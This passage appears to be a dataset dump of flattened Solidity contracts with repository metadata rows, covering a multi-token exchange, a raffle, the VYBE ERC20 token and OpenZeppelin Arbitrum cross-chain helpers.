balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BasicMultiToken is StandardToken, DetailedERC20 { ERC20[] public tokens; event Mint(address indexed minter, uint256 value); event Burn(address indexed burner, uint256 value); constructor() public DetailedERC20("", "", 0) { } function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public { require(decimals == 0, "init: contract was already initialized"); require(_decimals > 0, "init: _decimals should not be zero"); require(bytes(_name).length > 0, "init: _name should not be empty"); require(bytes(_symbol).length > 0, "init: _symbol should not be empty"); require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens"); name = _name; symbol = _symbol; decimals = _decimals; tokens = _tokens; } function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public { require(totalSupply_ == 0, "This method can be used with zero total supply only"); _mint(_to, _amount, _tokenAmounts); } function mint(address _to, uint256 _amount) public { require(totalSupply_ != 0, "This method can be used with non zero total supply only"); uint256[] memory tokenAmounts = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_); } _mint(_to, _amount, tokenAmounts); } function burn(uint256 _value) public { burnSome(_value, tokens); } function burnSome(uint256 _value, ERC20[] someTokens) public { require(someTokens.length > 0, "Array of tokens can't be empty"); uint256 totalSupply = totalSupply_; balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); for (uint i = 0; i < someTokens.length; i++) { uint256 prevBalance = someTokens[i].balanceOf(this); uint256 tokenAmount = prevBalance.mul(_value).div(totalSupply); someTokens[i].transfer(msg.sender, tokenAmount); require(someTokens[i].balanceOf(this) == prevBalance.sub(tokenAmount), "Invalid token behavior"); } } function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal { require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal"); for (uint i = 0; i < tokens.length; i++) { uint256 prevBalance = tokens[i].balanceOf(this); tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]); require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior"); } totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); } } interface ERC228 { function changeableTokenCount() external view returns (uint16 count); function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress); function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 returnAmount); event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); } contract MultiToken is BasicMultiToken, ERC228 { mapping(address => uint256) public weights; function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public { super.init(_tokens, _name, _symbol, _decimals); require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal"); for (uint i = 0; i < tokens.length; i++) { require(_weights[i] != 0, "The _weights array should not contains zeros"); require(weights[tokens[i]] == 0, "The _tokens array have duplicates"); weights[tokens[i]] = _weights[i]; } } function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public { init(_tokens, _weights, _name, _symbol, _decimals); } function changeableTokenCount() public view returns (uint16 count) { count = uint16(tokens.length); } function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) { tokenAddress = tokens[_tokenIndex]; } function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) { if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) { uint256 fromBalance = ERC20(_fromToken).balanceOf(this); uint256 toBalance = ERC20(_toToken).balanceOf(this); returnAmount = toBalance.mul(_amount).mul(weights[_fromToken]).div(weights[_toToken]).div(fromBalance.add(_amount)); } } function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) { returnAmount = getReturn(_fromToken, _toToken, _amount); require(returnAmount > 0, "The return amount is zero"); require(returnAmount >= _minReturn, "The return amount is less than _minReturn value"); uint256 fromBalance = ERC20(_fromToken).balanceOf(this); ERC20(_fromToken).transferFrom(msg.sender, this, _amount); require(ERC20(_fromToken).balanceOf(this) == fromBalance + _amount); uint256 toBalance = ERC20(_toToken).balanceOf(this); ERC20(_toToken).transfer(msg.sender, returnAmount); require(ERC20(_toToken).balanceOf(this) == toBalance - returnAmount); emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount); } function changeOverERC228(address _fromToken, address _toToken, uint256 _amount, address exchange) public returns(uint256 returnAmount) { returnAmount = getReturn(_fromToken, _toToken, _amount); require(returnAmount > 0, "The return amount is zero"); uint256 fromBalance = ERC20(_fromToken).balanceOf(this); ERC20(_toToken).approve(exchange, returnAmount); ERC228(exchange).change(_toToken, _fromToken, returnAmount, _amount); uint256 realReturnAmount = ERC20(_fromToken).balanceOf(this).sub(fromBalance); require(realReturnAmount >= _amount); if (realReturnAmount > _amount) { uint256 reward = realReturnAmount.sub(_amount); ERC20(_fromToken).transfer(msg.sender, reward); require(ERC20(_fromToken).balanceOf(this) == fromBalance.add(_amount)); } emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount); } } interface IDeployer { function deploy(bytes data) external returns(address mtkn); } contract MultiTokenDeployer is IDeployer { function deploy(bytes data) external returns(address mtkn) { require((data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) || (data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)); mtkn = new MultiToken(); require(mtkn.call(data)); } }
164,032
12,024
e20072417092bb1876d12c7e14e7694a195eb5a183984e30586967fbb700f9d8
29,389
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/4b/4BF01e105697dF8ee8D62FB83Adf1708C418a8B5_Raffle.sol
3,462
13,179
// Sources flattened with hardhat v2.6.7 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/[emailprotected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[emailprotected] interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts/token/ERC20/[emailprotected] interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC721/[emailprotected] interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts/utils/[emailprotected] abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[emailprotected] abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/math/[emailprotected] // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File contracts/PrizeManager.sol abstract contract PrizeManager is Ownable { event PrizeAdded(uint place, PrizeType prizeType, address tokenContract, uint tokenIdOrValue); event PrizeRemoved(uint place); enum PrizeType{ NATIVE_CURRENCY, ERC20, ERC721 } struct Prize { PrizeType prizeType; // is the prize the native currency uint tokenIdOrValue; // tokenId if ERC721, value if ERC20 or isNativeCurrency address tokenContract; // could be ERC721 or ERC20. Use zero address if none } mapping(uint => mapping(uint => Prize)) public prizes; mapping(uint => uint) public numberOfPrizesPerPlace; function getPrizeAtIndexForPlace(uint place, uint index) public view returns (Prize memory) { require(index < numberOfPrizesPerPlace[place], "There aren't that many prizes for the provided place"); return prizes[place][index]; } function addPrizeForPlace(uint place, PrizeType prizeType, uint tokenIdOrValue, address tokenContract) public virtual onlyOwner { uint index = numberOfPrizesPerPlace[place]; prizes[place][index] = Prize(prizeType, tokenIdOrValue, tokenContract); numberOfPrizesPerPlace[place]++; emit PrizeAdded(place, prizeType, tokenContract, tokenIdOrValue); } function removePrizeAtIndexForPlace(uint place, uint index) public virtual onlyOwner { uint lastIndex = numberOfPrizesPerPlace[place] - 1; if (index != lastIndex) { Prize memory lastPrize = prizes[place][lastIndex]; prizes[place][index] = lastPrize; } delete prizes[place][lastIndex]; numberOfPrizesPerPlace[place]--; emit PrizeRemoved(place); } } // File contracts/Ticketable.sol abstract contract Ticketable is Ownable { uint public maxTickets = 0; uint public ticketsIssued = 0; mapping(uint => address) public ticketHolders; mapping(address => uint[]) public ticketsHeld; function issueTickets(address ticketHolder, uint numberOfTickets) internal { require(maxTickets == 0 || ticketsIssued + numberOfTickets <= maxTickets, "Cannot issue this many tickets under current max supply"); for (uint i = ticketsIssued; i < ticketsIssued + numberOfTickets; i++) { ticketHolders[i] = ticketHolder; ticketsHeld[ticketHolder].push(i); } ticketsIssued+= numberOfTickets; } function burnTicket(uint ticketNumber) public onlyOwner { require(ticketsIssued > ticketNumber, "Ticket does not exist"); address ticketOwner = ticketHolders[ticketNumber]; uint[] memory oldTicketsHeld = ticketsHeld[ticketOwner]; for (uint i = 0; i < oldTicketsHeld.length; i++) { if (oldTicketsHeld[i] != ticketNumber) { ticketsHeld[ticketOwner][i] = oldTicketsHeld[i]; } } ticketsHeld[ticketOwner].pop(); ticketHolders[ticketNumber] = address(0); } function ticketForOwnerAtIndex(address owner, uint index) public view returns (uint) { return ticketsHeld[owner][index]; } } // File @openzeppelin/contracts/utils/math/[emailprotected] library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // File contracts/Pausable.sol abstract contract Pausable is Ownable { bool public isPaused; modifier isNotPaused() { require(isPaused == false, "This function cannot be performed when the contract is paused"); _; } function setIsPaused(bool newValue) public onlyOwner { isPaused = newValue; } } // File contracts/Raffle.sol contract Raffle is Ownable, Pausable, PrizeManager, Ticketable, IERC721Receiver { using SafeMath for uint256; event TicketSale(address purchasor, uint numberOfTickets); event PrizeAwarded(uint place, uint ticketNumber); uint public ticketPrice; function awardPrize(uint place, uint ticketNumber) public onlyOwner { address winningAddress = ticketHolders[ticketNumber]; require(winningAddress != address(0), "The winning ticket is not owned by a valid wallet"); uint numberOfPrizes = numberOfPrizesPerPlace[place]; for (uint i = 0; i < numberOfPrizes; i++) { Prize memory prize = prizes[place][i]; if (prize.prizeType == PrizeType.NATIVE_CURRENCY) { require(address(this).balance >= prize.tokenIdOrValue, "Insufficient funds to pay prize"); payable(winningAddress).transfer(prize.tokenIdOrValue); } if (prize.prizeType == PrizeType.ERC20) { require(IERC20(prize.tokenContract).balanceOf(address(this)) >= prize.tokenIdOrValue, "Insufficient funds to pay prize"); IERC20(prize.tokenContract).transfer(winningAddress, prize.tokenIdOrValue); } if (prize.prizeType == PrizeType.ERC721) { require(IERC721(prize.tokenContract).ownerOf(prize.tokenIdOrValue) == address(this), "The prize token is not in this contract"); IERC721(prize.tokenContract).safeTransferFrom(address(this), winningAddress, prize.tokenIdOrValue); } } emit PrizeAwarded(place, ticketNumber); } function buyTickets(uint numberOfTickets) public virtual payable isNotPaused { require(ticketPrice == 0 || msg.value >= numberOfTickets.mul(ticketPrice), "Incorrect payable amount for number of tickets bought"); issueTickets(msg.sender, numberOfTickets); emit TicketSale(msg.sender, numberOfTickets); } function depositERC20(address tokenContract, uint amount) external { IERC20(tokenContract).transferFrom(msg.sender, address(this), amount); } function depositERC721(address tokenContract, uint tokenId) external { IERC721(tokenContract).safeTransferFrom(msg.sender, address(this), tokenId); } function onERC721Received(address, address, uint256, bytes calldata) public override view returns (bytes4) { return IERC721Receiver(this).onERC721Received.selector; } function setTicketPrice(uint price) public onlyOwner { ticketPrice = price; } function withdrawProceeds(address toWallet, uint amount) public onlyOwner { payable(toWallet).transfer(amount); } }
328,140
12,025
913e299264b4cbba279a24b4e68d6c97f4c3a8531ebcd4387a583ce8f65aac42
13,230
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/8f/8ffe4590b9d07e1ca34a7e287e7d0608ce48336a_VYBEERC20Token.sol
2,900
10,730
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } abstract contract ERC20 is IERC20 { using LowGasSafeMath for uint256; // Present in ERC777 mapping (address => uint256) internal _balances; // Present in ERC777 mapping (address => mapping (address => uint256)) internal _allowances; // Present in ERC777 uint256 internal _totalSupply; // Present in ERC777 string internal _name; // Present in ERC777 string internal _symbol; // Present in ERC777 uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender] .sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] .sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account_, uint256 amount_) internal virtual { require(account_ != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(this), account_, amount_); _totalSupply = _totalSupply.add(amount_); _balances[account_] = _balances[account_].add(amount_); emit Transfer(address(0), account_, amount_); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { } } library Counters { using LowGasSafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } interface IERC2612Permit { function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function nonces(address owner) external view returns (uint256); } abstract contract ERC20Permit is ERC20, IERC2612Permit { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; constructor() { uint256 chainID; assembly { chainID := chainid() } DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version chainID, address(this))); } function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { require(block.timestamp <= deadline, "Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline)); bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(_hash, v, r, s); require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature"); _nonces[owner].increment(); _approve(owner, spender, amount); } function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } } interface IOwnable { function owner() external view returns (address); function renounceOwnership() external; function transferOwnership(address newOwner_) external; } contract Ownable is IOwnable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view override returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual override onlyOwner() { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner_) public virtual override onlyOwner() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner_); _owner = newOwner_; } } contract VaultOwned is Ownable { address internal _vault; event VaultTransferred(address indexed newVault); function setVault(address vault_) external onlyOwner() { require(vault_ != address(0), "IA0"); _vault = vault_; emit VaultTransferred(_vault); } function vault() public view returns (address) { return _vault; } modifier onlyVault() { require(_vault == msg.sender, "VaultOwned: caller is not the Vault"); _; } } contract VYBEERC20Token is ERC20Permit, VaultOwned { using LowGasSafeMath for uint256; constructor() ERC20("VYBE", "VYBE", 9) { } function mint(address account_, uint256 amount_) external onlyVault() { _mint(account_, amount_); } function burn(uint256 amount) external virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) external virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) internal virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub(amount_); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } }
75,677
12,026
a8727dbc10b48637d0f1c588f4fc0b34e0bbde620c454ae54afa5a958dc4bb55
26,538
.sol
Solidity
false
635617544
0xblackskull/OpenZeppelin-Flattened
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
openzeppelin-contracts-upgradeable/crosschain/arbitrum/CrossChainEnabledArbitrumL1Upgradeable_flat.sol
2,891
12,216
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol) pragma solidity ^0.8.4; // OpenZeppelin Contracts (last updated v4.6.0) (crosschain/CrossChainEnabled.sol) // OpenZeppelin Contracts (last updated v4.6.0) (crosschain/errors.sol) error NotCrossChainCall(); error InvalidCrossChainSender(address actual, address expected); // OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol) // OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) library AddressUpgradeable { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function verifyCallResultFromTarget(address target, bool success, bytes memory returndata, string memory errorMessage) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } abstract contract Initializable { uint8 private _initialized; bool private _initializing; event Initialized(uint8 version); modifier initializer() { bool isTopLevelCall = !_initializing; require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1), "Initializable: contract is already initialized"); _initialized = 1; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; emit Initialized(1); } } modifier reinitializer(uint8 version) { require(!_initializing && _initialized < version, "Initializable: contract is already initialized"); _initialized = version; _initializing = true; _; _initializing = false; emit Initialized(version); } modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _disableInitializers() internal virtual { require(!_initializing, "Initializable: contract is initializing"); if (_initialized < type(uint8).max) { _initialized = type(uint8).max; emit Initialized(type(uint8).max); } } } abstract contract CrossChainEnabledUpgradeable is Initializable { function __CrossChainEnabled_init() internal onlyInitializing { } function __CrossChainEnabled_init_unchained() internal onlyInitializing { } modifier onlyCrossChain() { if (!_isCrossChain()) revert NotCrossChainCall(); _; } modifier onlyCrossChainSender(address expected) { address actual = _crossChainSender(); if (expected != actual) revert InvalidCrossChainSender(actual, expected); _; } function _isCrossChain() internal view virtual returns (bool); function _crossChainSender() internal view virtual returns (address); uint256[50] private __gap; } // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/arbitrum/LibArbitrumL1.sol) // OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IBridge.sol) interface IBridgeUpgradeable { event MessageDelivered(uint256 indexed messageIndex, bytes32 indexed beforeInboxAcc, address inbox, uint8 kind, address sender, bytes32 messageDataHash); event BridgeCallTriggered(address indexed outbox, address indexed destAddr, uint256 amount, bytes data); event InboxToggle(address indexed inbox, bool enabled); event OutboxToggle(address indexed outbox, bool enabled); function deliverMessageToInbox(uint8 kind, address sender, bytes32 messageDataHash) external payable returns (uint256); function executeCall(address destAddr, uint256 amount, bytes calldata data) external returns (bool success, bytes memory returnData); // These are only callable by the admin function setInbox(address inbox, bool enabled) external; function setOutbox(address inbox, bool enabled) external; // View functions function activeOutbox() external view returns (address); function allowedInboxes(address inbox) external view returns (bool); function allowedOutboxes(address outbox) external view returns (bool); function inboxAccs(uint256 index) external view returns (bytes32); function messageCount() external view returns (uint256); } // OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IInbox.sol) // OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IMessageProvider.sol) interface IMessageProviderUpgradeable { event InboxMessageDelivered(uint256 indexed messageNum, bytes data); event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum); } interface IInboxUpgradeable is IMessageProviderUpgradeable { function sendL2Message(bytes calldata messageData) external returns (uint256); function sendUnsignedTransaction(uint256 maxGas, uint256 gasPriceBid, uint256 nonce, address destAddr, uint256 amount, bytes calldata data) external returns (uint256); function sendContractTransaction(uint256 maxGas, uint256 gasPriceBid, 